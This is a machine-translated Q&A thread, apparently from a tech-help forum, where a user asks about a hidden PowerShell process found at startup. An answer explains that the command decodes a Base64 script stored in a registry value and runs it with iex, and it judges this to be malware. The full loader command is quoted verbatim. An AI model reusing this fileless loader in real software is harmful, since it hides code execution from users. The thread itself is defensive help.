随机 powershell.exe 进程?

随机 powershell.exe 进程?

几天前,我在任务管理器中注意到有一个 powershell.exe 进程正在运行。当我进入 msconfig 时,它有一个非常长的命令。它如下:

C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -noprofile -windowstyle hidden -executionpolicy bypass iex ([Text.Encoding]::ASCII.Get.String([Convert]::FromBase64string((gp'HKCU:\Software\Classes\SAJELFZIXHQTV').ADUXJH)));

这真的很奇怪,因为就在今天,一个我之前遇到过问题的随机进程出现了(可能与此无关,只是说说而已),这是一个病毒,并试图在我的 PC 上下载一个不安全的驱动程序,正如 Windows 所说。有人能告诉我有关这个 PowerShell 进程的信息吗?它在启动时启动,并且一直在运行。再次,我希望听起来我不是无知的,也许这只是一个正常的启动过程。

答案1

这几乎肯定是恶意的。

让我们来分析一下。它-noprofile在隐藏窗口 ( -windowstyle hidden) 中调用 Windows PowerShell(一个合法且非常有用的命令解释器),无需用户自定义 ( ),从而允许 PowerShell 会话运行脚本,而不管系统策略如何 ( -executionpolicy bypass)。然后它运行以下命令:

iex ([Text.Encoding]::ASCII.Get.String([Convert]::FromBase64string((gp'HKCU:\Software\Classes\SAJELFZIXHQTV').ADUXJH)))

gp意味着Get-ItemProperty,它可用于检索注册表项的值,这就是它在这里所做的。显然,SAJELFZIXHQTV当前用户Software\Classes密钥中有一个键名为 。该键有一个名为 的值ADUXJH,其中的数据就是要gp检索的内容。然后,该数据(显然是一个字符串)是Base64-解码为字节数组(FromBase64String)。然后将这些字节解释为 ASCII 文本(ASCII.GetString)。奇怪的是,原始文件中有一个多余的点,这应该会导致错误,因为该ASCII对象没有名为 的成员Get。不过,考虑到这个过程仍然存在,我怀疑多余的点只是一个转录错误。

如果没有该错误,则结果文本将作为 PowerShell 命令 ( iex) 调用。简而言之,此命令旨在从注册表加载编码脚本并执行它。要确切了解它正在运行的内容,请将上面的 PowerShell 命令(减去iexand 并删除多余的点)复制到 PowerShell 提示符中并运行它。它将打印将要调用的命令。它几乎肯定不是良性的。

您可以使用以下命令阻止该条目自动启动自动运行工具。但是,最好对您的机器进行更深入的清理,因为它可能已被感染。请参阅如何从我的电脑中删除恶意间谍软件、恶意软件、广告软件、病毒、木马或 rootkit?

相关内容